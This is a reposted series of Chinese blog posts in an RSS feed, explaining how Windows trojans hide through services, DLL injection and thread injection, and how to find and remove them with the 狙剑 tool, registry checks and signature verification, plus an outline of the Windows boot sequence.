 <img height="422" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205130736395752/A/1/l.jpg" width="404" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">一看到这张图，你最感兴趣的一定是&#8220;停止&#8221;这个按钮，但我不得不很遗憾的告诉您&#8220;是否能停止驱动程序的运行，还要看这个驱动程序是否愿意停止运行&#8221;，是不是失望了？呵，应该是意料中的，如果木马可以这么轻易的停掉，它们还混什么呐？从这里不要奢望得到额外收获，我们只需要了解一点就够了，这个驱动的状态是&#8220;已经启动&#8221;。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">接下来要看的是&#8220;驱动程序详细信息&#8221;这一栏。点一下，得到下面的这张图</span><font face="Times New Roman">03-11</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="378" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205130034671871/A/1/l.jpg" width="344" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">看到没？这里面的就是驱动程序对应的文件了，至于下面的提供商、版权什么的，参考一下也就得了，如果木马愿意，它可以说它是&#8220;天宫&#8221;出品，版权属于&#8220;玉皇大帝&#8221;，那这里会丝毫不打折扣的给它显示出来，你说能信吗？</span></p>
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----MuseHero.blog.tianya.cn
<img src ="http://www.blogjava.net/viking/aggbug/211351.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 18:01 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211351.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之进程篇（四）（转）</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211350.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 09:59:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211350.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211350.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211350.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211350.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211350.html</trackback:ping><description><![CDATA[2、进程的隐藏与自我保护 我们通过上面的讲解已经知道，进程是一个程序运行所必须的，因此检查进程也就成了查杀木马的关键环节，我们知道这一点，木马的作者们当然更知道，所以，如何隐藏自己的进程，就成了养马人处心积虑要实现的。 说到这里，有懂的朋友们可能要笑了，心里更可能在说&#8220;连无进程木马都不知道，还好意思在这里显摆呢&#8221;。 一个程序可以无进程么？可以吗？真的可以吗？我可以很负责任的告诉您，在Windows系统下一个程序一定、确定以及肯定的会有一个进程，没有进程是不可能的。 那所谓的&#8220;无进程木马&#8221;又是怎么回事儿呢？ 第一种无进程木马是DLL注入型木马： 什么是DLL呢？DLL是动态链接库，当某一进程需要实现某一功能时，此功能可能是放在某一动态链接库文件中的，所以，当进程需要使用时就要将动态库文件加载到自己的进程中。举例来说，如果进程就是一个工厂，那么，调用DLL就是将工厂的某一部分工作外包给了DLL去做，而工作地点就在自己的工厂内。明白了吗？进程就是工作的厂地，即使外包出去了，也是需要地方干活的。&#8220;加载到自己的进程中&#8221;这一句是关键啊，并不是没有进程，而是用了其它程序的进程。像我们上面找了半天的那个服务：C:"WINDOWS"system32"wuauserv.dll，注意一下文件的扩展名，不就是DLL么，这就是一个典型的DLL文件，如果这是一个木马文件，那么，这就是一个典型的无进程木马，因为他没有自己的进程，我们在进程列表中看到的是Svchost.exe的进程。这个DLL是利用服务来加载的，在注册表中还有很多位置可以让一个DLL加载到其它进程中，这在后面自启动程序一节中我们要讲解。 但是，通过注册表来加载是可以的，但却不是唯一的，还可以通过另一个进程，来打开现有的进程，来将DLL注入到被打开的正常进程中，然后，执行注入的进程退出，这样，在进程列表中仍然看不到木马的进程。 第二种无进程木马是线程注入型的木马。 什么是线程呢？上面说了程序就像一个工厂工人工作的流程表，而进程就是将流程真正的运行起来，正式的开始动手取原料--加工---组装---验收等等工作。但是，我们需要明白的一点是，工人们是可以分成小组后同时进行几个环节的，第一组工人负责取原料、第二组工厂人负责加工、而第三组工人负责组装、第四组&#8230;&#8230;这样，可以分工合作同时进行形成流水线。而这工厂里的一组一组工人，相对于进程与线程而言，就是一个进程中的一个个线程。线程注入又是咋回事呢？线程注入，就是木马程序将一个恶意线程放到了正常进程的线程序列中去执行，就像在工厂中多增加了一组自己的工人负责制造炸弹，这一组工人与其它的正常的几组工人没有什么关系，但却借用了人家的工厂去从事着非法的勾档。 线程注入与DLL注入的区别是，线程注入只是增加了一组工人，这组工人是在以工厂的名义在工作，对外的名义也是工厂的名字，出了问题是由工厂负责的。而DLL注入呢，是外包，可能会增加一组工人也可能会增加多组，是以DLL自己的名义在工厂内工作的，出了问题是由DLL来负责的。当然了，如果问题大了，工厂也会受牵连的。看下面的图03-8： <img height="389" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205161310138265/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">在狙剑的进程列表中，选中一个进程按鼠标右键，选择&#8220;查看线程&#8221;就可以查看此进程中的每一个线程，也就是查看每组工人的情况，还可以对某个线程执行暂停运行、结束运行等操作。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">我们注意看上面的线程列表，最后一列，显示了一些</span><font face="Times New Roman">DLL</font><span style="font-family: 宋体">的名字，还有一个是</span><font face="Times New Roman">EXPLORER.EXE</font><span style="font-family: 宋体">，</span><font face="Times New Roman">EXPLORER.EXE</font><span style="font-family: 宋体">就是进程名字，我查看的就是</span><font face="Times New Roman">EXPLORER.EXE</font><span style="font-family: 宋体">进程的线程列表。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">明白我上面说的区别了么？</span><font face="Times New Roman">ntdll</font><span style="font-family: 宋体">有三组线程在工作，那是</span><font face="Times New Roman">ntdll</font><span style="font-family: 宋体">在完成外包业务所需要的自己的三组工人；</span><font face="Times New Roman">EXPLORER.EXE</font><span style="font-family: 宋体">有一组，那是工厂自己的工人，如果存在线程注入，那么就会多出一个</span><font face="Times New Roman">EXPLORER.EXE</font><span style="font-family: 宋体">线程。但是需要注意的是，有多个</span><font face="Times New Roman">EXPLORER.EXE</font><span style="font-family: 宋体">并不代表就一定有线程注入，因为一个工厂也可以同时存在多条流水线。但只有一个</span><font face="Times New Roman">EXPLORER.EXE</font><span style="font-family: 宋体">那么通常情况下就是没有线程注入，因为一个进程肯定会有至少一个线程的存在，也就是说，一个工厂必定至少要有一组工人，皮包公司在</span><font face="Times New Roman">Windows</font><span style="font-family: 宋体">世界是不允许的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">了解了什么是</span><font face="Times New Roman">DLL</font><span style="font-family: 宋体">注入型木马、什么是线程注入型木马后，查杀他们显然就很容易了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">DLL</font><span style="font-family: 宋体">注入型的，查起来很简单，用上面说的方法&#8220;查看某一进程的模块列表</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">再隐藏无微软签名的项&#8221;，就可以查出单个进程中被注入的模块；如果在全系统范围内查找，则使用&#8220;搜索无微软签名的模块&#8221;就可以将注入到其它进程中的模块找出来，而大多数工具都提供了&#8220;卸载模块&#8221;的功能，卸载后就可以删除了，或直接用&#8220;卸载后删除&#8221;的功能，但有一点是需要注意的，如果该木马使用了防卸载的技术，那么卸载此模块时就会发生异常，对此也不必担心，我们还有其它方法清掉它，比如：清除其自启动项，不让他有注入的机会；或直接删除其磁盘文件等。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">相比较起来，查杀线程注入型的木马，就比较困难了，我们上面说了，线程注入的没有自己的文件，只是一段注入的代码。也就是说他只是混入工厂内的一组工人，并没有自己的工厂也没有自己招牌，想把他与正常的工人区分开，是很困难的。这里提供了一个线程注入的测试程序：</span><a href="http://www.zhulinfeng.com/bbs/dispbbs.asp?BoardID=3&amp;ID=78&amp;replyID=&amp;skin=1"><font face="Times New Roman">http://www.zhulinfeng.com/bbs/dispbbs.asp?BoardID=3&amp;ID=78&amp;replyID=&amp;skin=1</font></a></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">先试一试看看效果，运行后，会打开一个窗口，但你却在进程列表中找不到有新增加的进程，那窗口是如何来的呢？这就是由注入到</span><font face="Times New Roman">Explorer.exe</font><span style="font-family: 宋体">中的线程创建的。这时你再查看</span><font face="Times New Roman">Explorer.exe</font><span style="font-family: 宋体">的线程列表，会发现多出来了一个线程，而线程的&#8220;模块&#8221;那一列（图</span><font face="Times New Roman">03-8</font><span style="font-family: 宋体">）标的名字就是</span><font face="Times New Roman">Explorer.exe</font><span style="font-family: 宋体">，这时线程列表中已经有两个名字为</span><font face="Times New Roman">Explorer.exe</font><span style="font-family: 宋体">的线程了，但哪一个是好的，哪一个是后来注入的呢？通常情况下看&#8220;基址&#8221;那一列（图</span><font face="Times New Roman">03-8</font><span style="font-family: 宋体">），基址数值较大的那一个一般是起动起来较晚的，就是后来加入的了，选中那一个线程选择&#8220;结束线程&#8221;，发生了什么？是不是那个窗口被关闭了？（注意：如果是用狙剑查看的，那么在线程注入后，查看新线程时，要重新刷新进程列表，不然会发现不了新注入的线程）</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">当然了，上面只是做个试验，让朋友们亲身体会一下线程注入是怎么一回事儿。真正查杀起线程注入型的木马来，用上面的方法显然是不行的，首先，我们不知道他注入到了哪一个进程中。其次，即使一个进程中有多个以进程名为名字的线程我们也无法确定那多出来的线程就是木马线程。所以，我们仍然要从自启动项入手来禁止线程注入。</span></p>
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----MuseHero.blog.tianya.cn
<img src ="http://www.blogjava.net/viking/aggbug/211350.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 17:59 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211350.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之进程篇（三）（转）</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211349.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 09:57:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211349.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211349.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211349.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211349.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211349.html</trackback:ping><description><![CDATA[当然了，我们是来查杀木马的，当然不会满足于仅仅知道这是一组服务，这一组中是不是会藏着一个木马呢？所以，我们还要知道这一组服务都分别是哪一个，怎么来查看呢？再来看下图：03-5 <img height="375" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205202101865645/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">上面的是什么呢？上面的就是我们在第一章中所提到的&#8220;注册表&#8221;。依次选择</span><font face="Times New Roman">--</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">开始</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">运行</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">输入&#8220;</span><font face="Times New Roman">Regedit.exe</font><span style="font-family: 宋体">&#8221;</span><font face="Times New Roman">----</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">确定。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">就可以调用系统自带的注册表编辑器来打开注册表，再依次展开：</span><font face="Times New Roman">HKEY_LOCAL_MACHINE---</font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman">SYSTEM---</font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman">CurrentControlSet---</font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman">Services</font><span style="font-family: 宋体">，还记得上面</span><font face="Times New Roman">03-4</font><span style="font-family: 宋体">图中的服务名称么？对了就是那个&#8220;</span><font face="Times New Roman">wuauserv</font><span style="font-family: 宋体">&#8221;，在</span><font face="Times New Roman">Services</font><span style="font-family: 宋体">键下打开如上图所示的&#8220;</span><font face="Times New Roman">wuauserv</font><span style="font-family: 宋体">&#8221;再展开，选中其下面的&#8220;</span><font face="Times New Roman">Parmeters</font><span style="font-family: 宋体">&#8221;，看右边的窗口中，是不是找到了此服务所对应的程序文件了？就是那个</span><font face="Times New Roman">C:"WINDOWS"system32"wuauserv.dll</font><span style="font-family: 宋体">喽。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">每一个</span><font face="Times New Roman">Svchost.exe</font><span style="font-family: 宋体">中的服务都可以通过这种方式找到其对应的程序文件。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">看到这里，朋友们是不是头都大了？这么麻烦啊？查个进程居然这么麻烦，而且就算找到了，又怎么能知道</span><font face="Times New Roman">C:"WINDOWS"system32"wuauserv.dll</font><span style="font-family: 宋体">是正常的程序还是木马呢？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">呵，不要着急，也不要怕。上面不是在教给你知识么，而且在当年，没有专业工具之前，我们可都是这么一个个来找的。当然了，现在有了各种专业工具，的确是没必要非手动去找了。再看下图</span><font face="Times New Roman">03-6</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="373" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205180755340148/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><span style="font-family: 宋体">在狙剑的进程管理列表中（图</span><font face="Times New Roman">03-2</font><span style="font-family: 宋体">），选中</span><font face="Times New Roman">Svchost.exe</font><span style="font-family: 宋体">，然后按鼠标右键</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">选择&#8220;查看模块&#8221;，就可以得到上图中的列表，注意被蓝条选中的那个是不是就是费半天劲所找到的那个：</span><font face="Times New Roman">C:"WINDOWS"system32"wuauserv.dll</font><span style="font-family: 宋体">呢？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">找是找到了，可如何判断这是不是系统的服务模块呢？这一点微软为我们想的很周到，他将大多数的系统文件都进行了数字签名，我们只需要检查一下这个文件有没有系统文件的数字签名，就可以准确的判断，这是不是一个系统文件。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">如何检查呢？在列表中按右键，选择&#8220;隐蒇微软签名项&#8221;就可以将所有系统文件隐藏起来，剩下的就是非系统的文件啦，简单不？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">数字签名验证还可以应用在对进程的判断中，在图</span><font face="Times New Roman">03-2</font><span style="font-family: 宋体">中，列表中共有</span><font face="Times New Roman">19</font><span style="font-family: 宋体">个进程，这些个进程中哪些是系统的哪些又不是呢？我们仍然可以利用数字签名来判断，在列表中按右键，选择&#8220;隐蒇微软签名项&#8221;就可以将所有系统进程藏起来，剩下的就是非系统的进程。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">上面也说过了，一共有５个</span><font face="Times New Roman">SVCHOST.exe</font><span style="font-family: 宋体">进程，那我们是不是需要在每个</span><font face="Times New Roman">SVCHOST.exe</font><span style="font-family: 宋体">进程上都重复一遍，查看模块</span><font face="Times New Roman">----</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">隐藏微软签名项</span><span style="font-family: 宋体">的过程呢？答案是不需要，在图</span><font face="Times New Roman">03-2</font><span style="font-family: 宋体">的进程列表中，按右键，里面的一个&#8220;扫描无微软签名模块&#8221;的选项，点击它一下，就可以列出所有进程中所有没有签名的模块了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">还有一个问题是，如果手头没有工具怎么办呢？就没有办法查看这些进程中的模块了吗？有的，仍然有办法，看下图</span><font face="Times New Roman">03-7</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="381" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205170822216129/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">依次选择&#8220;开始&#8221;</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">&#8220;所有程序&#8221;</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">&#8220;附件&#8221;</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">&#8220;系统工具&#8221;</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">&#8220;系统信息&#8221;就可以打开上面的窗口。在窗口中选择&#8220;加载的模块&#8221;就可以看到左边窗口中的信息，看到没？我们找的那个</span><font face="Times New Roman">wuauserv</font><span style="font-family: 宋体">　就在里面。这里面列出了所有进程加载的所有模块，可以参考，但也仅仅是参考，更多的情况仍然尽量的使用专业工具来检查，会更方便更准确一些。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">另外，有很多木马是可以隐藏的，对于这一类木马，用系统自带的工具是检查不出的。注意看上面的几张图，发现没有，图</span><font face="Times New Roman">03-2</font><span style="font-family: 宋体">比图</span><font face="Times New Roman">03-1</font><span style="font-family: 宋体">中的进程多出来了一个</span><font face="Times New Roman">Hide.exe </font><span style="font-family: 宋体">这就是下面我们要讲的&#8220;进程的隐藏了&#8221;。也许有朋友会说，是不是取图时这个进程已经关掉了呢？呵，没关系，我这里提供了</span><font face="Times New Roman">Hide.exe</font><span style="font-family: 宋体">程序的样本，您可以下载后运行一下试试，看是否可以在任务管理器的进程列表中看到它。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><span style="font-family: 宋体">下载地址：</span><a href="http://www.zhulinfeng.com/bbs/dispbbs.asp?BoardID=3&amp;ID=78&amp;replyID=&amp;skin=1"><font face="Times New Roman">http://www.zhulinfeng.com/bbs/dispbbs.asp?BoardID=3&amp;ID=78&amp;replyID=&amp;skin=1</font></a></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">里面还附了隐藏进程的源代码，懂编程的朋友们可以参考一下，看一看隐藏进程是如何的简单。</span></p>
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----MuseHero.blog.tianya.cn
<img src ="http://www.blogjava.net/viking/aggbug/211349.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 17:57 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211349.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之进程篇（二）(转)</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211348.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 09:56:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211348.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211348.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211348.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211348.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211348.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><strong><span style="color: #ff6600; font-family: 宋体">系统的启动过程</span></strong><span style="font-family: 宋体">：</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: -36.75pt; line-height: 150%; tab-stops: list 57.75pt"><font face="Times New Roman">1、<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span><span style="font-family: 宋体">当你按下开机键时，最早是由主板</span><font face="Times New Roman">BIOS</font><span style="font-family: 宋体">蕊片中的</span><font face="Times New Roman">BIOS</font><span style="font-family: 宋体">程序来执行硬件检测任务的，如果检查过程中发现关键硬件的故障，就会发出特定的响声通知用户，并停止启动。而</span><font face="Times New Roman">BIOS</font><span style="font-family: 宋体">程序是哪里来的呢？这是在主板出厂时固化在芯片中的一段程序。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: -36.75pt; line-height: 150%; tab-stops: list 57.75pt"><font face="Times New Roman">2、<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span><span style="font-family: 宋体">当硬件没有问题时，</span><font face="Times New Roman">BIOS</font><span style="font-family: 宋体">程序就会读入硬盘的主引导记录，将下面的任务交给主引导记录代码去完成。而主引导记录又是哪里来的呢？这是在安装操作系统时对磁盘进行分区格式化操作时，写到硬盘中的。如果找不到主引导记录，会出错停止，告诉你这是非法的系统启动盘。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: -36.75pt; line-height: 150%; tab-stops: list 57.75pt"><font face="Times New Roman">3、<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span><span style="font-family: 宋体">主引导记录代码的工作是读入磁盘主分区的根目录，在里面读出</span><font face="Times New Roman">Ntldr</font><span style="font-family: 宋体">文件，并装入内存，然后将控制权交给它。注意看一下，你的硬盘根目录下是不是有个</span><font face="Times New Roman">Ntldr</font><span style="font-family: 宋体">文件？这个文件的属性是隐藏、系统，所以查看时要选择查看所有，且不隐藏被保护的系统文件才可看到。这个文件是哪里来的？呵，当然是安装操作系统时拷贝到硬盘上的，下面提到的文件都是在安装操作系统时拷上去的。如果没能找到</span><font face="Times New Roman">Ntldr</font><span style="font-family: 宋体">文件，则会停止启动，显示</span><font face="Times New Roman">Ntldr </font><span style="font-family: 宋体">没找到的错误信息。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: -36.75pt; line-height: 150%; tab-stops: list 57.75pt"><font face="Times New Roman">4、<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Ntldr</font><span style="font-family: 宋体">又做了些什么呢？它会将系统由原来的</span><font face="Times New Roman">16</font><span style="font-family: 宋体">位实模式切换到</span><font face="Times New Roman">32</font><span style="font-family: 宋体">位保护模式或</span><font face="Times New Roman">64</font><span style="font-family: 宋体">位长模式。它的工作是读取根目录下的</span><font face="Times New Roman">Boot.ini</font><span style="font-family: 宋体">文件，显然引导菜单，在多操作系统的计算机中，可以看到这个菜单。接着它会清屏，并在</span><font face="Times New Roman">Win2000</font><span style="font-family: 宋体">下显示一个黑白的进度条，在</span><font face="Times New Roman">XP</font><span style="font-family: 宋体">下显示</span><font face="Times New Roman">XP</font><span style="font-family: 宋体">的标志图同时显示下面不断滚动的蓝色进度条，提示你它正在加载一些重要的文件。它在加载什么呢？它首先会加载</span><font face="Times New Roman">Ntoskrnl.exe</font><span style="font-family: 宋体">、</span><font face="Times New Roman">Hal.dll</font><span style="font-family: 宋体">，如果这两个文件找不到会出错停机，并显示找不到相应文件的信息。接着它读入注册表的</span><font face="Times New Roman">SYSTEM</font><span style="font-family: 宋体">键文件，从中找出自动启动的各类驱动程序，这是很关键的，因为有些内核级的木马就是在这时启动的。每加载一个屏幕上的进度条就滚动一下子。中间如果某个驱动出问题，也可能会导至系统蓝屏崩溃。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: -36.75pt; line-height: 150%; tab-stops: list 57.75pt"><font face="Times New Roman">5、<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span><span style="font-family: 宋体">接下来的工作由</span><font face="Times New Roman">Ntoskrnl.exe</font><span style="font-family: 宋体">（或</span><font face="Times New Roman">Ntkrnlpa.exe</font><span style="font-family: 宋体">）来进行，这是内核程序，它做的工作实在是太多了，这里就不再细说了。它的最后一步工作就是创建会话管理子系统，也就是我们上面说过的，由</span><font face="Times New Roman">System</font><span style="font-family: 宋体">进程创建的</span><font face="Times New Roman">Smss.exe</font><span style="font-family: 宋体">进程。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: -36.75pt; line-height: 150%; tab-stops: list 57.75pt"><font face="Times New Roman">6、<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Smss.exe</font><span style="font-family: 宋体">进程负责创建用户模式环境，由用户模式环境向</span><font face="Times New Roman">Windows</font><span style="font-family: 宋体">提供可视的窗口界面。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">它会运行</span><font face="Times New Roman">BootExecute</font><span style="font-family: 宋体">中定义的程序，正常情况下是</span><font face="Times New Roman">Autochk</font><span style="font-family: 宋体">，一个检查磁盘的程序。但有些杀毒软件会把自己的程序加到这里，来实现引导时杀毒，如果您的系统安装了江民类的杀毒软件，那么此时就会执行它的引导期杀毒程序，就是进入系统前出现的蓝底蓝字的病毒扫描窗口。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">Smss.exe</font><span style="font-family: 宋体">还会执行</span><font face="Times New Roman">SessionManager</font><span style="font-family: 宋体">中的文件删除、移动操作，也就是调用</span><font face="Times New Roman">API</font><span style="font-family: 宋体">：</span><font face="Times New Roman">MoveFileEx</font><span style="font-family: 宋体">并选择重启后移除文件的，就是在这个环节执行了。当前有很多号称可以删除一切文件的安全工具都使用了</span><font face="Times New Roman">MoveFileEx</font><span style="font-family: 宋体">来实现文件的删除，但是现在我们可以知道了，它的文件删除是在这个阶段执行的，而这时驱动程序已经加载了，所以用它们来清除驱动级的木马显然是不胜任的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">创建附加的页面文件。</span></p>
<br />

